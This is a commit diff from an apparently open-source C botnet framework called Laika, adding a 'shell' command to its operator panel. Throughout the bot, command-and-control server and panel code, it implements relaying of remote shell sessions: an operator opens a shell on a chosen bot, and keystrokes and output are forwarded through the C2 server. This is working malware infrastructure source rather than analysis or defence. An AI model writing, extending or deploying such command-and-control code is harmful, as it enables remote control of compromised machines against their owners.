Added 'shell' command to LaikaShell

- another major refactoring

bot/src/bot.c

@@ -26,7 +26,7 @@ struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = {
         0,
     false),
     LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA,
-        laikaB_handleShellOpen,
+        laikaB_handleShellData,
         0,
     true),
 };

bot/src/main.c

@@ -8,11 +8,10 @@
 struct sLaika_taskService tService;
 
 void shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
-    struct sLaika_shell *shell;
     struct sLaika_bot *bot = (struct sLaika_bot*)uData;
 
     if (bot->shell)
-        laikaB_readShell(bot, shell);
+        laikaB_readShell(bot, bot->shell);
 }
 
 int main(int argv, char **argc) {

bot/src/shell.c

@@ -134,8 +134,8 @@ void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
         LAIKA_ERROR("LAIKAPKT_SHELL_DATA requested on unopened shell!\n");
 
     /* read data buf */
-    laikaS_read(&peer->sock, buf, sz - 1);
+    laikaS_read(&peer->sock, buf, sz);
 
     /* write to shell */
-    laikaB_writeShell(bot, shell, buf, sz - 1);
+    laikaB_writeShell(bot, shell, buf, sz);
 }

cnc/include/cpanel.h

@@ -8,6 +8,7 @@ void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
 
 void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
 void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
+void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
 void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
 
 #endif

cnc/src/cnc.c

@@ -60,19 +60,31 @@ void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
     struct sLaika_cnc *cnc = bInfo->info.cnc;
     uint8_t _res = laikaS_readByte(&peer->sock);
 
+    if (bInfo->shellAuth == NULL)
+        LAIKA_ERROR("LAIKAPKT_SHELL_CLOSE malformed packet!");
 
+    /* forward to SHELL_CLOSE to auth */
+    laikaS_emptyOutPacket(bInfo->shellAuth, LAIKAPKT_AUTHENTICATED_SHELL_CLOSE);
+
+    /* close shell */
+    ((struct sLaika_authInfo*)(bInfo->shellAuth->uData))->shellBot = NULL;
+    bInfo->shellAuth = NULL;
 }
 
 void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
     char buf[LAIKA_SHELL_DATA_MAX_LENGTH];
+    struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)uData;
     uint8_t id;
 
-    if (sz <= 1 || sz > LAIKA_SHELL_DATA_MAX_LENGTH)
+    if (bInfo->shellAuth == NULL || sz < 1 || sz > LAIKA_SHELL_DATA_MAX_LENGTH)
         LAIKA_ERROR("LAIKAPKT_SHELL_DATA malformed packet!");
 
-    id = laikaS_readByte(&peer->sock);
+    laikaS_read(&peer->sock, (void*)buf, sz);
-    laikaS_read(&peer->sock, (void*)buf, sz-1);
+
-    write(STDOUT_FILENO, (void*)buf, sz-1);
+    /* forward SHELL_DATA packet to auth */
+    laikaS_startVarPacket(bInfo->shellAuth, LAIKAPKT_AUTHENTICATED_SHELL_DATA);
+    laikaS_write(&bInfo->shellAuth->sock, buf, sz);
+    laikaS_endVarPacket(bInfo->shellAuth);
 }
 
 void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
@@ -147,9 +159,17 @@ struct sLaika_peerPacketInfo laikaC_botPktTbl[LAIKAPKT_MAXNONE] = {
 struct sLaika_peerPacketInfo laikaC_authPktTbl[LAIKAPKT_MAXNONE] = {
     DEFAULT_PKT_TBL,
     LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ,
-        laikaC_handleAuthenticatedHandshake,
+        laikaC_handleAuthenticatedShellOpen,
         crypto_kx_PUBLICKEYBYTES,
     false),
+    LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_SHELL_CLOSE,
+        laikaC_handleAuthenticatedShellClose,
+        0,
+    false),
+    LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_SHELL_DATA,
+        laikaC_handleAuthenticatedShellData,
+        0,
+    true),
 };
 
 #undef DEFAULT_PKT_TBL

cnc/src/cpanel.c

@@ -87,6 +87,22 @@ void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_
     laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_OPEN);
 }
 
+void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
+    struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)uData;
+    struct sLaika_cnc *cnc = aInfo->info.cnc;
+
+    /* an AUTH_SHELL_CLOSE can be sent after the shell has already been closed, so don't error just ignore the packet */
+    if (aInfo->shellBot == NULL)
+        return;
+
+    /* forward to SHELL_CLOSE to auth */
+    laikaS_emptyOutPacket(aInfo->shellBot, LAIKAPKT_SHELL_CLOSE);
+
+    /* close shell */
+    ((struct sLaika_botInfo*)(aInfo->shellBot->uData))->shellAuth = NULL;
+    aInfo->shellBot = NULL;
+}
+
 void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
     uint8_t data[LAIKA_SHELL_DATA_MAX_LENGTH];
     struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)uData;

lib/include/lpacket.h

@@ -84,9 +84,9 @@ enum {
     /* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ
     *   uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
     */
-    LAIKAPKT_AUTHENTICATED_SHELL_OPEN_RES, /* panel requesting cnc open a shell on bot */
+    LAIKAPKT_AUTHENTICATED_SHELL_CLOSE, /* peer requesting close their currently opened shell (accepted by both cnc & panel) */
-    /* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ
+    /* layout of LAIKAPKT_AUTHENTICATED_SHELL_CLOSE_REQ:
-    *   uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
+    *   NULL (empty packet)
     */
     LAIKAPKT_AUTHENTICATED_SHELL_DATA, /* if sent to cnc, writes data to stdin of shell. if sent to panel, writes to 'stdout' of shell */
     /* layout of LAIKAPKT_SHELL_DATA

lib/include/lpeer.h

@@ -24,7 +24,7 @@ struct sLaika_peerPacketInfo {
 };
 
 
-#define LAIKA_CREATE_PACKET_INFO(ID, HANDLER, SIZE, ISVARIADIC) [ID] = {.handler = HANDLER, .size = SIZE, .handler = HANDLER}
+#define LAIKA_CREATE_PACKET_INFO(ID, HANDLER, SIZE, ISVARIADIC) [ID] = {.handler = HANDLER, .size = SIZE, .variadic = ISVARIADIC}
 
 struct sLaika_peer {
     struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting sLaika_peer* to sLaika_sock* works as intended */

shell/include/sclient.h

@@ -11,6 +11,7 @@ typedef struct sShell_client {
     uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
     struct sLaika_pollList pList;
     struct sLaika_peer *peer;
+    tShell_peer *openShell; /* if not NULL, shell is open on peer */
     struct hashmap *peers;
     tShell_peer **peerTbl;
     int peerTblCount;
@@ -28,6 +29,10 @@ tShell_peer *shellC_getPeerByPub(tShell_client *client, uint8_t *pub, int *id);
 int shellC_addPeer(tShell_client *client, tShell_peer *peer); /* returns new peer id */
 void shellC_rmvPeer(tShell_client *client, tShell_peer *peer, int id);
 
+void shellC_openShell(tShell_client *client, tShell_peer *peer);
+void shellC_closeShell(tShell_client *client);
+void shellC_sendDataShell(tShell_client *client, uint8_t *data, size_t sz);
+
 void shellC_printInfo(tShell_peer *peer);
 
 #endif

shell/include/sterm.h

@@ -17,6 +17,8 @@ void shellT_printf(const char *format, ...);
 
 /* waits for input for timeout (in ms). returns true if input is ready to be read, false if no events */
 bool shellT_waitForInput(int timeout);
+int shellT_readRawInput(uint8_t *buf, size_t max);
+void shellT_writeRawOutput(uint8_t *buf, size_t sz);
 char shellT_getch(void);
 int shellT_kbget(void);
 void shellT_printPrompt(void);

shell/src/sclient.c

@@ -79,6 +79,29 @@ void shellC_handleRmvPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uDat
     shellC_rmvPeer(client, bot, id);
 }
 
+void shellC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
+    uint8_t buf[LAIKA_SHELL_DATA_MAX_LENGTH];
+    tShell_client *client = (tShell_client*)uData;
+
+    /* sanity check */
+    if (client->openShell == NULL)
+        LAIKA_ERROR("LAIKAPKT_AUTHENTICATED_SHELL_DATA: No shell open!\n");
+
+    laikaS_read(&peer->sock, buf, sz);
+    shellT_writeRawOutput(buf, sz);
+}
+
+void shellC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
+    tShell_client *client = (tShell_client*)uData;
+    
+    /* sanity check */
+    if (client->openShell == NULL)
+        LAIKA_ERROR("LAIKAPKT_AUTHENTICATED_SHELL_DATA: No shell open!\n");
+
+    /* close shell */
+    shellC_closeShell(client);
+}
+
 struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = {
     LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_RES,
         shellC_handleHandshakeRes,
@@ -92,6 +115,14 @@ struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = {
         shellC_handleRmvPeer,
         crypto_kx_PUBLICKEYBYTES + sizeof(uint8_t),
     false),
+    LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_SHELL_DATA,
+        shellC_handleShellData,
+        0,
+    true),
+    LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_SHELL_CLOSE,
+        shellC_handleShellClose,
+        0,
+    false),
 };
 
 void shellC_init(tShell_client *client) {
@@ -105,6 +136,7 @@ void shellC_init(tShell_client *client) {
     );
 
     client->peers = hashmap_new(sizeof(tShell_hashMapElem), 8, 0, 0, shell_ElemHash, shell_ElemCompare, NULL, NULL);
+    client->openShell = NULL;
     client->peerTbl = NULL;
     client->peerTblCap = 4;
     client->peerTblCount = 0;
@@ -273,6 +305,38 @@ void shellC_rmvPeer(tShell_client *client, tShell_peer *oldPeer, int id) {
     shellP_freePeer(oldPeer);
 }
 
+void shellC_openShell(tShell_client *client, tShell_peer *peer) {
+    /* check if we already have a shell open */
+    if (client->openShell)
+        return;
+
+    /* send SHELL_OPEN request */
+    laikaS_startOutPacket(client->peer, LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ);
+    laikaS_write(&client->peer->sock, peer->pub, sizeof(peer->pub));
+    laikaS_endOutPacket(client->peer);
+    client->openShell = peer;
+}
+
+void shellC_closeShell(tShell_client *client) {
+    /* check if we have a shell open */
+    if (client->openShell == NULL)
+        return;
+
+    /* send SHELL_CLOSE request */
+    laikaS_emptyOutPacket(client->peer, LAIKAPKT_AUTHENTICATED_SHELL_CLOSE);
+    client->openShell = NULL;
+}
+
+void shellC_sendDataShell(tShell_client *client, uint8_t *data, size_t sz) {
+    /* check if we have a shell open */
+    if (client->openShell == NULL)
+        return;
+
+    laikaS_startVarPacket(client->peer, LAIKAPKT_AUTHENTICATED_SHELL_DATA);
+    laikaS_write(&client->peer->sock, data, sz);
+    laikaS_endVarPacket(client->peer);
+}
+
 void shellC_printInfo(tShell_peer *peer) {
     char buf[128];
 

shell/src/scmd.c

@@ -1,8 +1,35 @@
+#include <setjmp.h>
+
 #include "lmem.h"
 #include "sclient.h"
 #include "speer.h"
 #include "scmd.h"
 #include "sterm.h"
+#include "lerror.h"
+
+#define CMD_ERROR(...) do { \
+    shellT_printf("[ERROR] : " __VA_ARGS__); \
+    longjmp(cmdE_err, 1); \
+} while(0);
+
+jmp_buf cmdE_err;
+
+/* ===========================================[[ Helper Functions ]]============================================= */
+
+tShell_cmdDef *shellS_findCmd(char *cmd);
+
+tShell_peer *shellS_getPeer(tShell_client *client, int id) {
+    if (id >= client->peerTblCount)
+        CMD_ERROR("Not a valid peer ID! [%d]\n", id);
+    
+    return client->peerTbl[id];
+}
+
+int shellS_readInt(char *str) {
+    return atoi(str);
+}
+
+/* ===========================================[[ Command Handlers ]]============================================= */
 
 void helpCMD(tShell_client *client, int args, char *argc[]);
 
@@ -19,25 +46,51 @@ void listPeers(tShell_client *client, int args, char *argc[]) {
     shellT_printf("\n");
 }
 
+void openShell(tShell_client *client, int args, char *argc[]) {
+    uint8_t buf[LAIKA_SHELL_DATA_MAX_LENGTH];
+    tShell_peer *peer;
+    int id, sz;
+
+    if (args < 2)
+        CMD_ERROR("Usage: shell [PEER_ID]\n");
+
+    id = shellS_readInt(argc[1]);
+    peer = shellS_getPeer(client, id);
+
+    shellT_printf("\n\nOpening shell on peer %04d...\n\n");
+
+    /* open shell on peer */
+    shellC_openShell(client, peer);
+
+    /* while client is alive, and our shell is open */
+    while (laikaS_isAlive((&client->peer->sock)) && client->openShell) {
+        /* poll for 50ms */
+        if (!shellC_poll(client, 50)) {
+            /* check if we have input! */
+            if (shellT_waitForInput(0)) {
+                /* we have input! send SHELL_DATA packet */
+                sz = shellT_readRawInput(buf, sizeof(buf));
+                if (sz <= 0) /* sanity check */
+                    break;
+
+                shellC_sendDataShell(client, buf, sz);
+            }
+        }
+    }
+}
+
+/* =============================================[[ Command Table ]]============================================== */
+
 #define CREATECMD(_cmd, _help, _callback) ((tShell_cmdDef){.cmd = _cmd, .help = _help, .callback = _callback})
 
 tShell_cmdDef shellS_cmds[] = {
     CREATECMD("help", "Lists avaliable commands", helpCMD),
     CREATECMD("list", "Lists all connected peers to CNC", listPeers),
+    CREATECMD("shell", "Opens a shell on peer", openShell),
 };
 
 #undef CREATECMD
 
-void helpCMD(tShell_client *client, int args, char *argc[]) {
-    int i;
-
-    shellT_printf("\n\n=== [[ Command List ]] ===\n\n");
-    for (i = 0; i < (sizeof(shellS_cmds)/sizeof(tShell_cmdDef)); i++) {
-        shellT_printf("%04d '%s'\t- %s\n", i, shellS_cmds[i].cmd, shellS_cmds[i].help);
-    }
-    shellT_printf("\n");
-}
-
 tShell_cmdDef *shellS_findCmd(char *cmd) {
     int i;
 
@@ -50,6 +103,16 @@ tShell_cmdDef *shellS_findCmd(char *cmd) {
     return NULL;
 }
 
+void helpCMD(tShell_client *client, int args, char *argc[]) {
+    int i;
+
+    shellT_printf("\n\n=== [[ Command List ]] ===\n\n");
+    for (i = 0; i < (sizeof(shellS_cmds)/sizeof(tShell_cmdDef)); i++) {
+        shellT_printf("%04d '%s'\t- %s\n", i, shellS_cmds[i].cmd, shellS_cmds[i].help);
+    }
+    shellT_printf("\n");
+}
+
 void shellS_initCmds(void) {
     /* stubbed for now, TODO: setup command hashmap */
 }
@@ -92,7 +155,9 @@ void shellS_runCmd(tShell_client *client, char *cmd) {
     }
 
     /* run command */
-    cmdDef->callback(client, args, argc);
+    if (setjmp(cmdE_err) == 0) {
+        cmdDef->callback(client, args, argc);
+    }
 
     /* free our argument buffer */
     laikaM_free(argc);

shell/src/sterm.c

@@ -77,11 +77,20 @@ bool shellT_waitForInput(int timeout) {
     return select(1, &fds, NULL, NULL, &tv) > 0;
 }
 
+int shellT_readRawInput(uint8_t *buf, size_t max) {
+    return read(STDIN_FILENO, buf, max);
+}
+
+void shellT_writeRawOutput(uint8_t *buf, size_t sz) {
+    write(STDOUT_FILENO, buf, sz);
+    fflush(stdout);
+}
+
 char shellT_getch(void) {
     int r;
     char in;
 
-    if ((r = read(STDIN_FILENO, &in, 1)) > 0) {
+    if ((r = shellT_readRawInput(&in, 1)) > 0) {
         return in;
     } else {
         return r;